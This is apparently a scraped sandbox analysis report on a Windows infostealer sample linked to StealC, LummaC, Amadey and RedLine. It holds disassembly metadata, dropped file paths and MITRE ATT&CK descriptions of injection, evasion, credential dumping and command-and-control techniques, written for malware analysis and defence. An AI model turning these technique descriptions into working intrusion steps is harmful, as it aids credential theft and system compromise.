SleepConditionVariableCS.KERNEL32(?,007A9A27,00000064,?,?,?,00782E1C,007ECDC4), ref: 007A9AAD
LeaveCriticalSection.KERNEL32(007E8FA8,00782E1C,?,007A9A27,00000064,?,?,?,00782E1C,007ECDC4), ref: 007A9AB7
WaitForSingleObjectEx.KERNEL32(00782E1C,00000000,?,007A9A27,00000064,?,?,?,00782E1C,007ECDC4), ref: 007A9AC8
EnterCriticalSection.KERNEL32(007E8FA8,?,007A9A27,00000064,?,?,?,00782E1C,007ECDC4), ref: 007A9ACF

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: b203da3eae82097087c5745269bf74b23daf2477c7c7d2c8a51764c09a08cfba
Instruction ID: 949d163d52bca375f91f76953f4328f5bca967331e36107cefbe043a86111d14
Opcode Fuzzy Hash: b203da3eae82097087c5745269bf74b23daf2477c7c7d2c8a51764c09a08cfba
Instruction Fuzzy Hash: 64E01236543168BBCB411B51EC49A8D3F26EF4D762F40D052FA0D6A160CE6D19108BDE

Function 0078DB20 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 183COMMON

Download Yara Rule

APIs

Part of subcall function 007A4550: std::locale::_Init.LIBCPMT ref: 007A45E2

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0078DD18

Strings

x}, xrefs: 0078DB6F
`, xrefs: 0078DBB6

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: InitIos_base_dtorstd::ios_base::_std::locale::_
String ID: `$x}
API String ID: 3469404174-2089044610
Opcode ID: a2e5619bcc405bd6d4e46cf7ba4c10584e1bf7a6f97b08282085beab4046938f
Instruction ID: cf0ab6f51fce060d08cf45ca50d1aadc0729e3ab24e55bb9dc7d1248f41b7212
Opcode Fuzzy Hash: a2e5619bcc405bd6d4e46cf7ba4c10584e1bf7a6f97b08282085beab4046938f
Instruction Fuzzy Hash: AB714C70A01248DFEB14DF68CD88F9DBBB5FB45304F5486A9E409AB381E779AA44CF50

Function 007B3A92 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe, xrefs: 007B3AD5, 007B3ADC, 007B3B12

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe
API String ID: 0-2770744244
Opcode ID: 045556735bf5c63735c8d279ba75f089435e3c82db5c09a906215b637ff78ea4
Instruction ID: fbf9b621f09216cb3f6f72aa94fc10621665d17920b46178e2c6efd05656ffb8
Opcode Fuzzy Hash: 045556735bf5c63735c8d279ba75f089435e3c82db5c09a906215b637ff78ea4
Instruction Fuzzy Hash: 51415FB1A00258EBCB229F99DC85BEFBBB8EB85710B5040A6F504D7251D6789B80CB94

Function 007BFA33 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 007BF7DD: GetOEMCP.KERNEL32(00000000,007BFA4E,?,?,007AEFF2,007AEFF2,?), ref: 007BF808

_free.LIBCMT ref: 007BFAAB

Strings

hf~, xrefs: 007BFAD3

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free
String ID: hf~
API String ID: 269201875-1033884560
Opcode ID: cf5c00e1c1c95e394b8517e0e0b5c2c00311cbe446dc06ee90c295a56607f6fb
Instruction ID: c10b6edc572ee8ec613bf8210408c3f181d74e2a49362d22e66cf4abfc7b99a3
Opcode Fuzzy Hash: cf5c00e1c1c95e394b8517e0e0b5c2c00311cbe446dc06ee90c295a56607f6fb
Instruction Fuzzy Hash: 48319E72900209AFCB15EF68DC84BDE77F4AF45714F11806AF8149B2A1EB3A9D51CBA0

Function 007AE76A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 007AE878: _free.LIBCMT ref: 007AE886

Part of subcall function 007B8353: MultiByteToWideChar.KERNEL32(007BFCD8,00000100,E8458D00,00000000,00000000,00000020,?,007BC2A0,00000000,00000000,00000100,00000020,00000000,00000000,E8458D00,00000100), ref: 007B83C3

GetLastError.KERNEL32(?,?,?,?,?,?,?,007AE92F,00000000,?,00000000,6F9B0EF0), ref: 007AE7CE
__dosmaperr.LIBCMT ref: 007AE7D5

Strings

/z, xrefs: 007AE7BF

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr_free
String ID: /z
API String ID: 4030486722-605482844
Opcode ID: feac0387ddcc247bd993bb12e1618a7de0c068793a03d4d844c711d980b7c12d
Instruction ID: 97927735313fd33dfc6d31cc4be4568f5b202fec9d7608a19d2d4d2f03581a98
Opcode Fuzzy Hash: feac0387ddcc247bd993bb12e1618a7de0c068793a03d4d844c711d980b7c12d
Instruction Fuzzy Hash: 8821B731500615ABDB216F258C05A5FBBE9EFD2730F51C715F86997191E73CEC408B91

Function 007844C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 007844EB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0078453A

Part of subcall function 007A886E: _Yarn.LIBCPMT ref: 007A888D
Part of subcall function 007A886E: _Yarn.LIBCPMT ref: 007A88B1

Strings

bad locale name, xrefs: 00784556

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 6885d8ebb41249eb6009053c43a51244bd27b5c628d2a3913db50b51b6eb6ef7
Instruction ID: 1fd399fe835c5149f968273a4e0a774c29de5117d5c9ea145e6f3bbc27c0ea64
Opcode Fuzzy Hash: 6885d8ebb41249eb6009053c43a51244bd27b5c628d2a3913db50b51b6eb6ef7
Instruction Fuzzy Hash: B3119171505784DFD320CF69C90574BBBE4EB19710F008A5EE899C7B81E779A904CB95

Function 007C13EA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007C1431

Strings

pN}, xrefs: 007C13FF

Memory Dump Source

Source File: 0000000B.00000002.1964112498.0000000000781000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000B.00000002.1964086831.0000000000780000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964167107.00000000007D1000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964858827.00000000007E6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.1964990573.00000000007ED000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_780000_defnur.jbxd

Similarity

API ID: _free
String ID: pN}
API String ID: 269201875-3959348808
Opcode ID: 3a34d00e76f5eba76bac257572e48160db91a51062cf6fff0b7e81b5bc22dda0
Instruction ID: 735af74e3beab6726f2d41f40859d217206ef7951de58b8e59b53e41c15f0098
Opcode Fuzzy Hash: 3a34d00e76f5eba76bac257572e48160db91a51062cf6fff0b7e81b5bc22dda0
Instruction Fuzzy Hash: 43F02833408350EAE7147A21AC46F973799EB437B4FA4003EF90C5A143DE69480142F2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fkawMJ7FH8.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\IIDHJKFB

C:\ProgramData\JECAEHJJ

C:\ProgramData\JJKFBFIJJECGCAAAFCBG

C:\ProgramData\JKEBFBFIEHIDAAAAFHCF

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_daw21.exe_2c487d58c69cb0e118b9a9eeb0a7207e9965bed0_a4ef3901_5ea412ea-2ab9-4835-a71c-49ad29507da4\Report.wer

Windows Analysis Report
fkawMJ7FH8.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre